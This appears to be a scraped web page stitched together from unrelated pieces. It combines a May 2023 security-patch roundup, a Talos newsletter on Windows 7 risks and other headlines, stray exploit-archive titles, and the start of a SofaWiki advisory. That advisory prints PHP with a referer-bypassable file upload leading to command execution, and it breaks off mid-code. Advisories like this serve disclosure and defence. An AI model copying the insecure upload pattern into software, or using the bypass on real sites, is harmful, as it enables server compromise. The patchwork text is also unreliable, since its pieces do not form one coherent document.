Plus: Microsoft patches two zero-day flaws, Google’s Android and Chrome get some much-needed updates, and more.

Apple, Google, and Microsoft have released major patches this month to fix multiple security flaws already being used in attacks. May was also a critical month for enterprise software, with GitLab, SAP, and Cisco releasing fixes for multiple bugs in their products.

Here’s everything you need to know about the security updates released in May.

Apple iOS and iPadOS 16.5

Apple has released its long-awaited point update iOS 16.5, addressing 39 issues, three of which are already being exploited in real-life attacks. The iOS upgrade patches vulnerabilities in the Kernel at the heart of the operating system and in WebKit, the engine that powers the Safari browser. The three already exploited flaws are among five fixed in WebKit—tracked as CVE-2023-32409, CVE-2023-28204, and CVE-2023-32373.

CVE-2023-32409 is an issue that could allow an attacker to break out of the Web Content sandbox remotely, reported by Clément Lecigne of Google's Threat Analysis Group and Donncha Ó Cearbhaill of Amnesty International’s Security Lab. CVE-2023-28204 is a flaw that risks a user disclosing sensitive information. Finally, CVE-2023-32373 is a use-after-free bug that could enable arbitrary code execution.

Earlier in the month, Apple released iOS 16.4.1 (a) and iPadOS 16.4.1 (a)—the iPhone maker’s first-ever Rapid Security Response update—fixing the latter two exploited WebKit vulnerabilities also patched in iOS 16.5.

Apple iOS and iPadOS 16.5 were issued alongside iOS 15.7.6 and iPadOS 15.7.6 for older iPhones, as well as iTunes 12.12.9 for Windows, Safari 16.5, macOS Big Sur 11.7.7, macOS Ventura 13.4, and macOS Monterey 12.6.6.

Apple also released its first security update for Beats and AirPods headphones.

Microsoft

Microsoft’s mid-month Patch Tuesday fixed 40 security issues, two of which were zero-day flaws already being used in attacks. The first zero-day vulnerability, CVE-2023-29336, is an elevation-of-privilege bug in the Win32k driver that could allow an attacker to gain System privileges.

The second serious flaw, CVE-2023-24932, is a Secure Boot security feature bypass issue that could allow a privileged attacker to execute code. “An attacker who successfully exploited this vulnerability could bypass Secure Boot,” Microsoft said, adding that the flaw is difficult to exploit: “Successful exploitation of this vulnerability requires an attacker to compromise admin credentials on the device.”

The security update is not a full fix: It addresses the vulnerability by updating the Windows Boot Manager, which could cause issues, the company warned. Additional steps are required at this time to mitigate the vulnerability, Microsoft said, pointing to steps affected users can take to mitigate the issue.

Google Android

Google has released its latest Android security patches, fixing 40 flaws, including an already exploited Kernel vulnerability. The updates also include fixes for issues in the Android Framework, System, Kernel, MediaTek, Unisoc, and Qualcomm components.

The most severe of these issues is a high-severity security vulnerability in the Framework component that could lead to local escalation of privilege, Google said, adding that user interaction is needed for exploitation.

Previously linked to commercial spyware vendors, CVE-2023-0266 is a Kernel issue that could lead to local escalation of privilege. User interaction is not needed for exploitation.

WBCE CMS 1.6.1 Cross Site Scripting

Steam, the most popular video game storefront on PCs, only recently announced that it was ending support for Windows 7 and 8, and even then, it won’t be official until January.

Thursday, May 25, 2023 14:05

Welcome to this week’s edition of the Threat Source newsletter.

As a longtime macOS user, I must admit I’m behind the times when it comes to Microsoft Windows. Since buying a Steam Deck, I’ve actually come to learn more about Linux and the Proton compatibility layer than I ever did about Windows.

But it still came as a shock to me this week when I uncovered a weird trend on social media: People bragging about still using Windows 7.

Microsoft stopped putting out free security updates for Windows 7 in January 2020 and only more recently stopped offering its paid Extended Security Updates (ESU). The company explicitly told users at the beginning of this year that it was unsafe to continue to keep using Windows 7 and that users should upgrade to Windows 10 or use a new machine that can run Windows 11.

Yet I still found an entire subreddit dedicated to keeping Windows 7 up and running on computers and countless posts promoting how well the 13-year-old operating system runs with modern GPUs and graphics cards.

Steam, the most popular video game storefront on PCs, only recently announced that it was ending support for Windows 7 and 8, and even then, it won’t be official until January. And Roblox, which is quietly one of the biggest video games in the world, only recently ended support for Windows 7 and 8.

I’m sure there are other examples of this among other types of software, but video games are the most specific corner of the internet I’m in, so that’s my frame of reference.

The moral of the story here is that using Windows 7 to do anything, but especially connecting to the internet (which is required to download and play video games) is a terrible idea. Attackers are always targeting outdated operating systems because they’re the most likely to be unpatched and vulnerable.

Running an operating system that is no longer receiving any type of security updates is extremely dangerous. If infected, that single machine could also be used as a springboard for the attacker to target and infect other machines on your network.

Since the start of this year, there have been 47 vulnerabilities discovered in Windows 7, according to the U.S.’s National Institute of Standards and Technology Vulnerability Database. There are even more security issues with third-party software running on Windows 7.

Just because something is old, doesn’t mean that attackers aren’t paying attention anymore. Without official support or security updates for Windows 7, Microsoft is no longer compelled to disclose formal vulnerabilities with CVEs attached to inform users about any security holes in the operating system.

Upgrading a PC or buying a new one is expensive, I get it. But Windows 7 isn’t a novelty anymore, it’s a security risk. If you feel like you absolutely have to keep Windows 7 running on a machine for some reason, make sure it is isolated from your network or just doesn’t connect to the internet at all.

But more preferably, upgrade to Windows 10. If you’re already using Windows 7, it’s free, and likely whatever hardware you’re using can support Windows 10. If you’re starting from scratch, many online stores have deeply discounted product keys for Windows 10 or 11 for $20 or less — just make sure to download the ISO directly from Microsoft still.

**The one big thing**

Montana recently became the first state in the U.S. to ban the app TikTok, though the law still has a long way to go before it can be enforced. The state’s governor signed a bill last week that prohibits mobile application stores from offering the app in the state by the start of 2024, or else they’ll face fines. However, it’s currently unclear if it’s even feasible for Montana to enforce this ban, as app stores don’t geofence certain applications on its stores, and internet service providers are exempt from having to enforce these rules. TikTok has recently become a target for Republican lawmakers over concerns that its Chinese-backed parent company is collecting and using Americans’ data. TikTok and popular TikTok creators in Montana have already sued the state to stop the law.

**Why do I care?**

Even if you are not an active TikTok user, the ban is noteworthy because it has major implications for American law and the enforcement of the First Amendment in the U.S. Opponents of Montana’s bill say it's a clear violation of the First Amendment. The various legal challenges are likely going to shift through the legal system for months, but any eventual decisions could influence how states view banning certain technology or even books and movies.

**So now what?**

There are many questions still unanswered about how this ban will work or whether it will stand. So for now, interested parties can’t do much but sit back and wait for the legal proceedings to play out.

**Top security headlines of the week**

Apple released a security update for many of its devices last week that **fixed three zero-day vulnerabilities in the WebKit browser engine.** A few days after the patches initially dropped, security researchers also discovered the updates addressed a different vulnerability known as “ColdInvite” (CVE-2023-27930). An attacker could exploit ColdInvite to attack a co-processor chip on iPhones and escape its isolation environment, eventually accessing the iPhone’s kernel. The three WebKit vulnerabilities affect some iPhones and iPads. CVE-2023-28204, CVE-2023-32373 and CVE-2023-32409 could be exploited to escape the Web Content sandbox. Google’s Threat Analysis Group and Amnesty International co-reported CVE-2023-32409, which led many security experts to speculate means attackers exploited this issue to spread spyware. (SecurityWeek, Forbes)

**Two popular Android set-top TV boxes sold on Amazon are preloaded with malware** that quietly generates revenue for the manufacturers in the background. The devices click on ads while running without the user knowing and connect to a global botnet of other infected Android devices around the globe. Despite the reported security issues, the devices were still for sale on Amazon as of earlier this week. However, the security researcher who discovered this botnet worked with the internet company hosting the command and control servers that sent directions to devices part of the botnet to take those servers down. However, that doesn’t mean the botnet or ad-click malware could never come back — the easiest solution for users is to replace the devices immediately. (TechCrunch, ArsTechnica)

Security researchers are concerned that **two new top-level domains from Google — .zip and .mov — will cause confusion among users and potentially open the door for scammers.** Because these new TLDs (like .com, .gov, .uk, etc.) are the same as popular file extensions, adversaries could disguise legitimate-looking file names and actually send people to a malicious web address without the user knowing that it could even be a web page. They could also be used to create legitimate-looking URLs that match that of a real website but just add one character in a long string, eventually pointing people to a malicious file or site. However, Google says it's actively monitoring for domain abuse. (Wired, Ars Technica)

2023 Online Course Registration 1.0 SQL Injection

SofaWiki <= 3.8.9 has a file upload vulnerability that leads to command execution.

1.  The PHP file an be uploaded directly by matching referer.

    // index.php
    case 'uploadbigfile':   		if ($user->hasright('upload', '') || stristr($swBaseHrefFolder,$referer))
    							{
    									include 'inc/special/uploadbigfile.php';
    							}
    

    // uploadbigfile.php
    if (isset($_FILES['uploadedfile']) && is_uploaded_file($_FILES['uploadedfile']['tmp_name']))
    {	 
    	 $filename = $_FILES['uploadedfile']['name'];
    	 $newfile = $swRoot.'/site/uploadbig/'.$filename;
    	 move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$newfile);
    	 
    	 $checksum = md5_file($newfile);
    	 if ($checksum == $filename)
    	 {
    		 echo 'upload ok '.$filename;
    	 }
    	 else
    	 {
    		 echo 'checksum error filename '.$filename.' checksum '.$checksum. ' length '.filesize($newfile);
    		 unlink($newfile);
